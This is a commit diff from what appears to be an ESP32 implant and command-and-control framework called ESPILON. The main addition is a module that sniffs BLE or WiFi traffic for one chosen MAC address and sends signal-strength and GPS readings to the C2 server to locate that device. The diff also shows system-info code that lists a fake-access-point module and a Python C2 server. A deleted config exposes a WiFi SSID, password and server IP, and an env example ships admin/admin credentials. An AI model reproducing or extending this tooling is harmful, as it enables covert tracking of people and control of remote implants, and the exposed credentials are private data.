MLAT_MODE_BLE,
MLAT_MODE_WIFI
} mlat_mode_t;
typedef enum {
COORD_GPS = 0, /* lat/lon (degrees) */
COORD_LOCAL /* x/y (meters) */
} coord_type_t;
/* WiFi frame header for promiscuous mode */
typedef struct {
unsigned frame_ctrl:16;
unsigned duration_id:16;
uint8_t addr1[6]; /* Destination */
uint8_t addr2[6]; /* Source */
uint8_t addr3[6]; /* BSSID */
unsigned seq_ctrl:16;
} __attribute__((packed)) wifi_mgmt_hdr_t;
/* ============================================================
* STATE
* ============================================================ */
static bool mlat_configured = false;
static bool mlat_running = false;
static mlat_mode_t mlat_mode = MLAT_MODE_BLE; /* Default to BLE */
/* Hardware init state */
static bool ble_initialized = false;
static bool wifi_promisc_enabled = false;
/* Scanner position (set via mlat config) */
static coord_type_t coord_type = COORD_GPS;
static double scanner_lat = 0.0; /* GPS latitude (degrees) */
static double scanner_lon = 0.0; /* GPS longitude (degrees) */
static double scanner_x = 0.0; /* Local X position (meters) */
static double scanner_y = 0.0; /* Local Y position (meters) */
/* Target MAC */
static uint8_t target_mac[6] = {0};
static char target_mac_str[20] = {0};
/* RSSI history for averaging */
static int8_t rssi_history[RSSI_HISTORY_SIZE];
static size_t rssi_count = 0;
static size_t rssi_index = 0;
/* Task handles */
static TaskHandle_t send_task_handle = NULL;
static TaskHandle_t hop_task_handle = NULL;
/* WiFi current channel */
static uint8_t current_channel = 1;
/* ============================================================
* UTILS
* ============================================================ */
static bool parse_mac_str(const char *input, uint8_t *mac_out)
{
char clean[13] = {0};
int j = 0;
for (int i = 0; input[i] && j < 12; i++) {
char c = input[i];
if (c == ':' || c == '-' || c == ' ')
continue;
if (!isxdigit((unsigned char)c))
return false;
clean[j++] = toupper((unsigned char)c);
}
if (j != 12) return false;
for (int i = 0; i < 6; i++) {
char b[3] = { clean[i*2], clean[i*2+1], 0 };
mac_out[i] = (uint8_t)strtol(b, NULL, 16);
}
return true;
}
static void mac_to_str(const uint8_t *mac, char *out, size_t len)
{
snprintf(out, len, "%02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
static int8_t get_average_rssi(void)
{
if (rssi_count == 0) return 0;
int32_t sum = 0;
size_t count = (rssi_count < RSSI_HISTORY_SIZE) ? rssi_count : RSSI_HISTORY_SIZE;
for (size_t i = 0; i < count; i++) {
sum += rssi_history[i];
}
return (int8_t)(sum / (int32_t)count);
}
static void add_rssi_reading(int8_t rssi)
{
rssi_history[rssi_index] = rssi;
rssi_index = (rssi_index + 1) % RSSI_HISTORY_SIZE;
if (rssi_count < RSSI_HISTORY_SIZE) {
rssi_count++;
}
}
static void reset_rssi_history(void)
{
memset(rssi_history, 0, sizeof(rssi_history));
rssi_count = 0;
rssi_index = 0;
}
static const char *mode_to_str(mlat_mode_t mode)
{
switch (mode) {
case MLAT_MODE_BLE: return "BLE";
case MLAT_MODE_WIFI: return "WiFi";
default: return "none";
}
}
/* ============================================================
* BLE CALLBACK
* ============================================================ */
static void ble_scan_cb(esp_gap_ble_cb_event_t event,
esp_ble_gap_cb_param_t *param)
{
if (!mlat_running || mlat_mode != MLAT_MODE_BLE) return;
if (event != ESP_GAP_BLE_SCAN_RESULT_EVT ||
param->scan_rst.search_evt != ESP_GAP_SEARCH_INQ_RES_EVT)
return;
/* Check if this is our target */
if (memcmp(param->scan_rst.bda, target_mac, 6) != 0)
return;
/* Store RSSI reading */
add_rssi_reading(param->scan_rst.rssi);
}
/* ============================================================
* WIFI PROMISCUOUS CALLBACK
* ============================================================ */
static void IRAM_ATTR wifi_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (!mlat_running || mlat_mode != MLAT_MODE_WIFI) return;
/* Only interested in management frames (probe requests, etc.) */
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
/* Check if source MAC (addr2) matches our target */
if (memcmp(hdr->addr2, target_mac, 6) != 0) return;
/* Store RSSI reading */
add_rssi_reading(pkt->rx_ctrl.rssi);
}
/* ============================================================
* WIFI CHANNEL HOP TASK
* ============================================================ */
static void channel_hop_task(void *arg)
{
(void)arg;
while (mlat_running && mlat_mode == MLAT_MODE_WIFI) {
vTaskDelay(pdMS_TO_TICKS(CHANNEL_HOP_MS));
if (!mlat_running || mlat_mode != MLAT_MODE_WIFI) break;
current_channel = (current_channel % 13) + 1;
esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);
}
hop_task_handle = NULL;
ESP_LOGI(TAG, "channel hop task stopped");
vTaskDelete(NULL);
}
/* ============================================================
* SEND TASK - Periodically send RSSI to C2
* ============================================================ */
static void mlat_send_task(void *arg)
{
(void)arg;
char msg[128];
while (mlat_running) {
vTaskDelay(pdMS_TO_TICKS(SEND_INTERVAL_MS));
if (!mlat_running) break;
if (rssi_count > 0) {
int8_t avg_rssi = get_average_rssi();
/*
* Send MLAT data to C2 via msg_info
* Format GPS: MLAT:G;<lat>;<lon>;<rssi>
* Format Local: MLAT:L;<x>;<y>;<rssi>
* The C2 will parse messages starting with "MLAT:" and extract the data
*/
if (coord_type == COORD_GPS) {
snprintf(msg, sizeof(msg), "MLAT:G;%.6f;%.6f;%d",
scanner_lat, scanner_lon, avg_rssi);
ESP_LOGD(TAG, "sent: GPS=(%.6f,%.6f) rssi=%d (avg of %d)",
scanner_lat, scanner_lon, avg_rssi, rssi_count);
} else {
snprintf(msg, sizeof(msg), "MLAT:L;%.2f;%.2f;%d",
scanner_x, scanner_y, avg_rssi);
ESP_LOGD(TAG, "sent: local=(%.2f,%.2f)m rssi=%d (avg of %d)",
scanner_x, scanner_y, avg_rssi, rssi_count);
}
msg_info(TAG, msg, NULL);
}
}
send_task_handle = NULL;
ESP_LOGI(TAG, "send task stopped");
vTaskDelete(NULL);
}
/* ============================================================
* BLE INIT / DEINIT
* ============================================================ */
static bool ble_init(void)
{
if (ble_initialized) {
return true;
}
esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
esp_err_t ret = esp_bt_controller_mem_release(ESP_BT_MODE_CLASSIC_BT);
if (ret != ESP_OK && ret != ESP_ERR_INVALID_STATE) {
ESP_LOGE(TAG, "bt mem release failed: %s", esp_err_to_name(ret));
return false;
}
ret = esp_bt_controller_init(&bt_cfg);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "bt controller init failed: %s", esp_err_to_name(ret));
return false;
}
ret = esp_bt_controller_enable(ESP_BT_MODE_BLE);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "bt controller enable failed: %s", esp_err_to_name(ret));
return false;
}
ret = esp_bluedroid_init();
if (ret != ESP_OK) {
ESP_LOGE(TAG, "bluedroid init failed: %s", esp_err_to_name(ret));
return false;
}
ret = esp_bluedroid_enable();
if (ret != ESP_OK) {
ESP_LOGE(TAG, "bluedroid enable failed: %s", esp_err_to_name(ret));
return false;
}
ret = esp_ble_gap_register_callback(ble_scan_cb);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "gap register callback failed: %s", esp_err_to_name(ret));
return false;
}
esp_ble_scan_params_t scan_params = {
.scan_type = BLE_SCAN_TYPE_ACTIVE,
.own_addr_type = BLE_ADDR_TYPE_PUBLIC,
.scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL,
.scan_interval = 0x50,
.scan_window = 0x30,
.scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE
};
ret = esp_ble_gap_set_scan_params(&scan_params);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "set scan params failed: %s", esp_err_to_name(ret));
return false;
}
ble_initialized = true;
ESP_LOGI(TAG, "BLE initialized");
return true;
}
static bool ble_start_scan(void)
{
esp_err_t ret = esp_ble_gap_start_scanning(0); /* 0 = continuous */
if (ret != ESP_OK) {
ESP_LOGE(TAG, "start BLE scanning failed: %s", esp_err_to_name(ret));
return false;
}
return true;
}
static void ble_stop_scan(void)
{
esp_ble_gap_stop_scanning();
}
/* ============================================================
* WIFI PROMISCUOUS INIT / DEINIT
* ============================================================ */
static bool wifi_promisc_init(void)
{
if (wifi_promisc_enabled) {
return true;
}
/* Enable promiscuous mode */
esp_err_t ret = esp_wifi_set_promiscuous(true);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "set promiscuous failed: %s", esp_err_to_name(ret));
return false;
}
/* Register callback */
ret = esp_wifi_set_promiscuous_rx_cb(wifi_promisc_cb);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "set promiscuous cb failed: %s", esp_err_to_name(ret));
esp_wifi_set_promiscuous(false);
return false;
}
/* Filter only management frames */
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
};
esp_wifi_set_promiscuous_filter(&filter);
wifi_promisc_enabled = true;
ESP_LOGI(TAG, "WiFi promiscuous mode enabled");
return true;
}
static void wifi_promisc_deinit(void)
{
if (!wifi_promisc_enabled) return;
esp_wifi_set_promiscuous(false);
wifi_promisc_enabled = false;
ESP_LOGI(TAG, "WiFi promiscuous mode disabled");
}
/* ============================================================
* START / STOP SCANNING
* ============================================================ */
static bool start_scanning(void)
{
reset_rssi_history();
if (mlat_mode == MLAT_MODE_BLE) {
if (!ble_init()) return false;
if (!ble_start_scan()) return false;
}
else if (mlat_mode == MLAT_MODE_WIFI) {
if (!wifi_promisc_init()) return false;
/* Start channel hop task for WiFi */
BaseType_t ret = xTaskCreate(
channel_hop_task,
"mlat_hop",
2048,
NULL,
4,
&hop_task_handle
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "failed to create hop task");
wifi_promisc_deinit();
return false;
}
}
/* Start send task */
BaseType_t ret = xTaskCreate(
mlat_send_task,
"mlat_send",
4096,
NULL,
5,
&send_task_handle
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "failed to create send task");
if (mlat_mode == MLAT_MODE_BLE) {
ble_stop_scan();
} else {
wifi_promisc_deinit();
}
return false;
}
return true;
}
static void stop_scanning(void)
{
if (mlat_mode == MLAT_MODE_BLE) {
ble_stop_scan();
}
else if (mlat_mode == MLAT_MODE_WIFI) {
wifi_promisc_deinit();
}
}
/* ============================================================
* COMMAND: mlat config <gps|local> <coord1> <coord2>
* mlat config gps <lat> <lon> - GPS coordinates (degrees)
* mlat config local <x> <y> - Local coordinates (meters)
* mlat config <lat> <lon> - Backward compat: GPS mode
* ============================================================ */
static int cmd_mlat_config(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 2) {
msg_error(TAG, "usage: mlat config [gps|local] <coord1> <coord2>", req);
return -1;
}
char msg[100];
/* Check if first arg is coordinate type */
if (argc == 3 && strcasecmp(argv[0], "gps") == 0) {
/* GPS mode: mlat config gps <lat> <lon> */
double lat = strtod(argv[1], NULL);
double lon = strtod(argv[2], NULL);
if (lat < -90.0 || lat > 90.0 || lon < -180.0 || lon > 180.0) {
msg_error(TAG, "invalid GPS coords (lat:-90~90, lon:-180~180)", req);
return -1;
}
coord_type = COORD_GPS;
scanner_lat = lat;
scanner_lon = lon;
mlat_configured = true;
snprintf(msg, sizeof(msg), "GPS position: (%.6f, %.6f)", lat, lon);
msg_info(TAG, msg, req);
ESP_LOGI(TAG, "configured GPS: lat=%.6f lon=%.6f", scanner_lat, scanner_lon);
}
else if (argc == 3 && strcasecmp(argv[0], "local") == 0) {
/* Local mode: mlat config local <x> <y> */
double x = strtod(argv[1], NULL);
double y = strtod(argv[2], NULL);
coord_type = COORD_LOCAL;
scanner_x = x;
scanner_y = y;
mlat_configured = true;
snprintf(msg, sizeof(msg), "Local position: (%.2f, %.2f) meters", x, y);
msg_info(TAG, msg, req);
ESP_LOGI(TAG, "configured local: x=%.2f y=%.2f", scanner_x, scanner_y);
}
else if (argc == 2) {
/* Backward compat: mlat config <lat> <lon> -> GPS mode */
double lat = strtod(argv[0], NULL);
double lon = strtod(argv[1], NULL);
if (lat < -90.0 || lat > 90.0 || lon < -180.0 || lon > 180.0) {
msg_error(TAG, "invalid GPS coords (lat:-90~90, lon:-180~180)", req);
return -1;
}
coord_type = COORD_GPS;
scanner_lat = lat;
scanner_lon = lon;
mlat_configured = true;
snprintf(msg, sizeof(msg), "GPS position: (%.6f, %.6f)", lat, lon);
msg_info(TAG, msg, req);
ESP_LOGI(TAG, "configured GPS: lat=%.6f lon=%.6f", scanner_lat, scanner_lon);
}
else {
msg_error(TAG, "usage: mlat config [gps|local] <coord1> <coord2>", req);
return -1;
}
return 0;
}
/* ============================================================
* COMMAND: mlat mode <ble|wifi>
* ============================================================ */
static int cmd_mlat_mode(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc != 1) {
msg_error(TAG, "usage: mlat mode <ble|wifi>", req);
return -1;
}
if (mlat_running) {
msg_error(TAG, "stop scanning first", req);
return -1;
}
const char *mode_str = argv[0];
if (strcasecmp(mode_str, "ble") == 0) {
mlat_mode = MLAT_MODE_BLE;
}
else if (strcasecmp(mode_str, "wifi") == 0) {
mlat_mode = MLAT_MODE_WIFI;
}
else {
msg_error(TAG, "invalid mode (use: ble, wifi)", req);
return -1;
}
char msg[32];
snprintf(msg, sizeof(msg), "mode set to %s", mode_to_str(mlat_mode));
msg_info(TAG, msg, req);
ESP_LOGI(TAG, "mode changed to %s", mode_to_str(mlat_mode));
return 0;
}
/* ============================================================
* COMMAND: mlat start <mac>
* ============================================================ */
static int cmd_mlat_start(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc != 1) {
msg_error(TAG, "usage: mlat start <mac>", req);
return -1;
}
if (mlat_running) {
msg_error(TAG, "already running", req);
return -1;
}
if (!mlat_configured) {
msg_error(TAG, "not configured - run 'mlat config [gps|local] <c1> <c2>' first", req);
return -1;
}
/* Parse target MAC */
if (!parse_mac_str(argv[0], target_mac)) {
msg_error(TAG, "invalid MAC address", req);
return -1;
}
mac_to_str(target_mac, target_mac_str, sizeof(target_mac_str));
mlat_running = true;
if (!start_scanning()) {
mlat_running = false;
msg_error(TAG, "scan start failed", req);
return -1;
}
char msg[128];
if (coord_type == COORD_GPS) {
snprintf(msg, sizeof(msg), "scanning for %s at GPS(%.6f, %.6f) [%s]",
target_mac_str, scanner_lat, scanner_lon, mode_to_str(mlat_mode));
ESP_LOGI(TAG, "started: target=%s GPS=(%.6f,%.6f) mode=%s",
target_mac_str, scanner_lat, scanner_lon, mode_to_str(mlat_mode));
} else {
snprintf(msg, sizeof(msg), "scanning for %s at local(%.2f, %.2f)m [%s]",
target_mac_str, scanner_x, scanner_y, mode_to_str(mlat_mode));
ESP_LOGI(TAG, "started: target=%s local=(%.2f,%.2f)m mode=%s",
target_mac_str, scanner_x, scanner_y, mode_to_str(mlat_mode));
}
msg_info(TAG, msg, req);
return 0;
}
/* ============================================================
* COMMAND: mlat stop
* ============================================================ */
static int cmd_mlat_stop(int argc, char **argv, const char *req, void *ctx)
{
(void)argc;
(void)argv;
(void)ctx;
if (!mlat_running) {
msg_error(TAG, "not running", req);
return -1;
}
mlat_running = false;
stop_scanning();
msg_info(TAG, "stopped", req);
ESP_LOGI(TAG, "stopped");
return 0;
}
/* ============================================================
* COMMAND: mlat status
* ============================================================ */
static int cmd_mlat_status(int argc, char **argv, const char *req, void *ctx)
{
(void)argc;
(void)argv;
(void)ctx;
char msg[180];
const char *coord_str = (coord_type == COORD_GPS) ? "GPS" : "Local";
if (!mlat_configured) {
snprintf(msg, sizeof(msg), "not configured | mode=%s", mode_to_str(mlat_mode));
msg_info(TAG, msg, req);
return 0;
}
/* Format position based on coord type */
char pos_str[60];
if (coord_type == COORD_GPS) {
snprintf(pos_str, sizeof(pos_str), "GPS=(%.6f,%.6f)", scanner_lat, scanner_lon);
} else {
snprintf(pos_str, sizeof(pos_str), "local=(%.2f,%.2f)m", scanner_x, scanner_y);
}
if (mlat_running) {
int8_t avg = get_average_rssi();
if (mlat_mode == MLAT_MODE_WIFI) {
snprintf(msg, sizeof(msg),
"running [%s] | %s | target=%s | rssi=%d (%d) | ch=%d",
mode_to_str(mlat_mode), pos_str,
target_mac_str, avg, rssi_count, current_channel);
} else {
snprintf(msg, sizeof(msg),
"running [%s] | %s | target=%s | rssi=%d (%d samples)",
mode_to_str(mlat_mode), pos_str,
target_mac_str, avg, rssi_count);
}
} else {
snprintf(msg, sizeof(msg),
"stopped | mode=%s | %s",
mode_to_str(mlat_mode), pos_str);
}
msg_info(TAG, msg, req);
return 0;
}
/* ============================================================
* COMMAND DEFINITIONS
* ============================================================ */
static const command_t cmd_mlat_config_def = {
.name = "mlat",
.sub = "config",
.help = "Set position: mlat config [gps|local] <c1> <c2>",
.handler = cmd_mlat_config,
.ctx = NULL,
.async = false,
.min_args = 2,
.max_args = 3
};
static const command_t cmd_mlat_mode_def = {
.name = "mlat",
.sub = "mode",
.help = "Set scan mode: mlat mode <ble|wifi>",
.handler = cmd_mlat_mode,
.ctx = NULL,
.async = false,
.min_args = 1,
.max_args = 1
};
static const command_t cmd_mlat_start_def = {
.name = "mlat",
.sub = "start",
.help = "Start scanning: mlat start <mac>",
.handler = cmd_mlat_start,
.ctx = NULL,
.async = false,
.min_args = 1,
.max_args = 1
};
static const command_t cmd_mlat_stop_def = {
.name = "mlat",
.sub = "stop",
.help = "Stop scanning",
.handler = cmd_mlat_stop,
.ctx = NULL,
.async = false,
.min_args = 0,
.max_args = 0
};
static const command_t cmd_mlat_status_def = {
.name = "mlat",
.sub = "status",
.help = "Show MLAT status",
.handler = cmd_mlat_status,
.ctx = NULL,
.async = false,
.min_args = 0,
.max_args = 0
};
/* ============================================================
* REGISTER
* ============================================================ */
void mod_mlat_register_commands(void)
{
command_register(&cmd_mlat_config_def);
command_register(&cmd_mlat_mode_def);
command_register(&cmd_mlat_start_def);
command_register(&cmd_mlat_stop_def);
command_register(&cmd_mlat_status_def);
ESP_LOGI(TAG, "commands registered (BLE+WiFi)");
}
#endif /* CONFIG_RECON_MODE_MLAT */

View File

@ -98,18 +98,79 @@ static int cmd_system_uptime(
return 0;
}
/* ============================================================
* COMMAND: system_info
* ============================================================ */
static int cmd_system_info(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
uint32_t heap_free = esp_get_free_heap_size();
uint64_t uptime_sec = esp_timer_get_time() / 1000000ULL;
char buf[512];
int len = 0;
len += snprintf(buf + len, sizeof(buf) - len,
"chip=%s cores=%d flash=%s heap=%"PRIu32" uptime=%llus modules=",
CONFIG_IDF_TARGET,
chip_info.cores,
(chip_info.features & CHIP_FEATURE_EMB_FLASH) ? "embedded" : "external",
heap_free,
(unsigned long long)uptime_sec
);
// List loaded modules
int first = 1;
#ifdef CONFIG_MODULE_NETWORK
len += snprintf(buf + len, sizeof(buf) - len, "%snetwork", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_MODULE_FAKEAP
len += snprintf(buf + len, sizeof(buf) - len, "%sfakeap", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_MODULE_RECON
#ifdef CONFIG_RECON_MODE_CAMERA
len += snprintf(buf + len, sizeof(buf) - len, "%scamera", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_RECON_MODE_MLAT
len += snprintf(buf + len, sizeof(buf) - len, "%smlat", first ? "" : ",");
first = 0;
#endif
#endif
if (first) {
len += snprintf(buf + len, sizeof(buf) - len, "none");
}
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND REGISTRATION
* ============================================================ */
static const command_t system_cmds[] = {
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false },
{ "system_mem", 0, 0, cmd_system_mem, NULL, false },
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false }
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false },
{ "system_info", 0, 0, cmd_system_info, NULL, false }
};
void mod_system_register_commands(void)
{
ESP_LOGI(TAG, "Registering system commands");
ESPILON_LOGI_PURPLE(TAG, "Registering system commands");
for (size_t i = 0; i < sizeof(system_cmds)/sizeof(system_cmds[0]); i++) {
command_register(&system_cmds[i]);

View File

@ -102,9 +102,12 @@ config RECON_MODE_CAMERA
bool "Enable Camera Reconnaissance"
default n
config RECON_MODE_BLE_TRILAT
bool "Enable BLE Trilateration Reconnaissance"
config RECON_MODE_MLAT
bool "Enable MLAT (Multilateration) Module"
default n
help
Enable multilateration positioning using RSSI measurements.
Mode (BLE or WiFi) is selected at runtime from C2.
endmenu
@ -123,4 +126,52 @@ config CRYPTO_NONCE
endmenu
################################################
# Logging
################################################
menu "Logging"
choice ESPILON_LOG_LEVEL
prompt "Default log level"
default ESPILON_LOG_LEVEL_INFO
config ESPILON_LOG_LEVEL_ERROR
bool "Error"
config ESPILON_LOG_LEVEL_WARN
bool "Warn"
config ESPILON_LOG_LEVEL_INFO
bool "Info"
config ESPILON_LOG_LEVEL_DEBUG
bool "Debug"
config ESPILON_LOG_LEVEL_VERBOSE
bool "Verbose"
endchoice
config ESPILON_LOG_CMD_REG_VERBOSE
bool "Verbose command registration logs"
default n
help
If enabled, log each command registration.
Otherwise, a single summary line is printed.
config ESPILON_LOG_C2_VERBOSE
bool "Verbose C2 command logs"
default n
help
If enabled, print the full C2 command block
(name, argc, request id, args).
config ESPILON_LOG_BOOT_SUMMARY
bool "Show boot summary header"
default y
help
Print a BOOT SUMMARY header at startup.
endmenu
endmenu

View File

@ -12,8 +12,46 @@
#include "command.h"
#include "cmd_system.h"
/* Module headers */
#ifdef CONFIG_MODULE_NETWORK
#include "cmd_network.h"
#endif
#ifdef CONFIG_MODULE_FAKEAP
#include "cmd_fakeAP.h"
#endif
#ifdef CONFIG_MODULE_RECON
#include "cmd_recon.h"
#endif
static const char *TAG = "MAIN";
static esp_log_level_t espilon_log_level_from_kconfig(void)
{
#if defined(CONFIG_ESPILON_LOG_LEVEL_ERROR)
return ESP_LOG_ERROR;
#elif defined(CONFIG_ESPILON_LOG_LEVEL_WARN)
return ESP_LOG_WARN;
#elif defined(CONFIG_ESPILON_LOG_LEVEL_INFO)
return ESP_LOG_INFO;
#elif defined(CONFIG_ESPILON_LOG_LEVEL_DEBUG)
return ESP_LOG_DEBUG;
#elif defined(CONFIG_ESPILON_LOG_LEVEL_VERBOSE)
return ESP_LOG_VERBOSE;
#else
return ESP_LOG_INFO;
#endif
}
static void espilon_log_init(void)
{
esp_log_level_set("*", espilon_log_level_from_kconfig());
#ifdef CONFIG_ESPILON_LOG_BOOT_SUMMARY
ESPILON_LOGI_PURPLE(TAG, "===== BOOT SUMMARY =====");
#endif
}
static void init_nvs(void)
{
esp_err_t ret = nvs_flash_init();
@ -27,10 +65,10 @@ static void init_nvs(void)
void app_main(void)
{
espilon_log_init();
ESP_LOGI(TAG, "Booting system");
init_nvs();
vTaskDelay(pdMS_TO_TICKS(1200));
/* =====================================================
* Command system
@ -39,26 +77,34 @@ void app_main(void)
command_async_init(); // Async worker (Core 1)
mod_system_register_commands();
/* Register enabled modules */
#ifdef CONFIG_MODULE_NETWORK
#include "cmd_network.h"
mod_network_register_commands();
ESPILON_LOGI_PURPLE(TAG, "Network module loaded");
#endif
#elif defined(CONFIG_MODULE_FAKEAP)
#include "cmd_fakeAP.h"
#ifdef CONFIG_MODULE_FAKEAP
mod_fakeap_register_commands();
ESPILON_LOGI_PURPLE(TAG, "FakeAP module loaded");
#endif
#elif defined(CONFIG_MODULE_RECON)
#include "cmd_recon.h"
#ifdef CONFIG_MODULE_RECON
#ifdef CONFIG_RECON_MODE_CAMERA
mod_camera_register_commands();
#elif defined(CONFIG_RECON_MODE_BLE_TRILAT)
mod_ble_trilat_register_commands();
ESPILON_LOGI_PURPLE(TAG, "Camera module loaded");
#endif
#ifdef CONFIG_RECON_MODE_MLAT
mod_mlat_register_commands();
ESPILON_LOGI_PURPLE(TAG, "MLAT module loaded");
#endif
#endif
command_log_registry_summary();
/* =====================================================
* Network backend
* ===================================================== */
vTaskDelay(pdMS_TO_TICKS(1200));
if (!com_init()) {
ESP_LOGE(TAG, "Network backend init failed");
return;

View File

@ -1,16 +0,0 @@
CONFIG_ID="f34592e0"
CONFIG_WIFI_SSID="Livebox-CC80"
CONFIG_WIFI_PASS="PqKXRmcprmeWChcfQD"
CONFIG_SERVER_IP="192.168.1.13"
CONFIG_SERVER_PORT=2626
CONFIG_MBEDTLS_CHACHA20_C=y
CONFIG_LWIP_IPV4_NAPT=y
CONFIG_LWIP_IPV4_NAPT_PORTMAP=y
CONFIG_LWIP_IP_FORWARD=y
CONFIG_LWIP_LOCAL_HOSTNAME="pixel-8-pro"
CONFIG_ENABLE_CAMERA=n
# Bluetooth configuration
CONFIG_BT_ENABLED=y
CONFIG_BT_BLUEDROID_ENABLED=y
CONFIG_BT_BLE_ENABLED=y

47
tools/c2/.env.example Normal file
View File

@ -0,0 +1,47 @@
# ESPILON C2 Configuration
# Copy this file to .env and adjust values
# ===================
# C2 Server
# ===================
C2_HOST=0.0.0.0
C2_PORT=2626
# ===================
# Camera Server
# ===================
# UDP receiver for camera frames
UDP_HOST=0.0.0.0
UDP_PORT=5000
UDP_BUFFER_SIZE=65535
# Web server for viewing streams
WEB_HOST=0.0.0.0
WEB_PORT=8000
# ===================
# Security
# ===================
# Token for authenticating camera frames (must match ESP firmware)
CAMERA_SECRET_TOKEN=Sup3rS3cretT0k3n
# Flask session secret (change in production!)
FLASK_SECRET_KEY=change_this_for_prod
# Web interface credentials
WEB_USERNAME=admin
WEB_PASSWORD=admin
# ===================
# Storage
# ===================
# Directory for camera frame storage (relative to c2 root)
IMAGE_DIR=static/streams
# ===================
# Video Recording
# ===================
VIDEO_ENABLED=true
VIDEO_PATH=static/streams/record.avi
VIDEO_FPS=10
VIDEO_CODEC=MJPG

View File

@ -3,22 +3,24 @@ import socket
import threading
import re
import sys
import time
import argparse
from core.registry import DeviceRegistry
from core.transport import Transport
from logs.manager import LogManager
from log.manager import LogManager
from cli.cli import CLI
from commands.registry import CommandRegistry
from commands.reboot import RebootCommand
from core.groups import GroupRegistry
from utils.constant import HOST, PORT
from utils.display import Display # Import Display utility
from utils.display import Display
# Strict base64 validation (ESP sends BASE64 + '\n')
BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$')
RX_BUF_SIZE = 4096
DEVICE_TIMEOUT_SECONDS = 60 # Devices are considered inactive after 60 seconds without a heartbeat
DEVICE_TIMEOUT_SECONDS = 300 # Devices are considered inactive after 5 minutes without a heartbeat
HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds
@ -81,34 +83,27 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev
# Main server
# ============================================================
def main():
# Parse arguments
parser = argparse.ArgumentParser(description="C3PO - ESPILON C2 Framework")
parser.add_argument("--tui", action="store_true", help="Launch with TUI interface")
args = parser.parse_args()
header = """
$$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
$$$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\
$$ _____|$$ __$$\ $$ __$$\\_$$ _|$$ | $$ __$$\ $$$\ $$ | $$ __$$\ $$ __$$\
$$ | $$ / \__|$$ | $$ | $$ | $$ | $$ / $$ |$$$$\ $$ | $$ / \__|\__/ $$ |
$$$$$\ \$$$$$$\ $$$$$$$ | $$ | $$ | $$ | $$ |$$ $$\$$ | $$ | $$$$$$ |
$$ __| \____$$\ $$ ____/ $$ | $$ | $$ | $$ |$$ \$$$$ | $$ | $$ ____/
$$ | $$\ $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$$ | $$ | $$\ $$ |
$$$$$$$$\ \$$$$$$ |$$ | $$$$$$\ $$$$$$$$\ $$$$$$ |$$ | \$$ | \$$$$$$ |$$$$$$$$\
\________| \______/ \__| \______|\________|\______/ \__| \__| \______/ \________|
$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\
$$ __$$\ $$ ___$$\ $$ __$$\ $$ __$$\
$$ / \__|\_/ $$ |$$ | $$ |$$ / $$ |
$$ | $$$$$ / $$$$$$$ |$$ | $$ |
$$ | \___$$\ $$ ____/ $$ | $$ |
$$ | $$\ $$\ $$ |$$ | $$ | $$ |
\$$$$$$ |\$$$$$$ |$$ | $$$$$$ |
\______/ \______/ \__| \______/
$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\\
$$ __$$\\ $$ ___$$\\ $$ __$$\\ $$ __$$\\
$$ / \\__|\_/ $$ |$$ | $$ |$$ / $$ |
$$ | $$$$$ / $$$$$$$ |$$ | $$ |
$$ | \\___$$\\ $$ ____/ $$ | $$ |
$$ | $$\\ $$\\ $$ |$$ | $$ | $$ |
\\$$$$$$ |\\$$$$$$ |$$ | $$$$$$ |
\\______/ \\______/ \\__| \\______/
ESPILON C2 Framework - Command and Control Server
"""
Display.system_message(header)
Display.system_message("Initializing ESPILON C2 core...")
if not args.tui:
Display.system_message(header)
Display.system_message("Initializing ESPILON C2 core...")
# ============================
# Core components
@ -143,7 +138,9 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ |
sys.exit(1)
server.listen()
Display.system_message(f"Server listening on {HOST}:{PORT}")
if not args.tui:
Display.system_message(f"Server listening on {HOST}:{PORT}")
# Function to periodically check device status
def device_status_checker():
@ -155,30 +152,51 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ |
device.status = "Inactive"
Display.device_event(device.id, "Status changed to Inactive (timeout)")
elif device.status == "Inactive" and now - device.last_seen <= DEVICE_TIMEOUT_SECONDS:
# If a device that was inactive sends a heartbeat, set it back to Connected
device.status = "Connected"
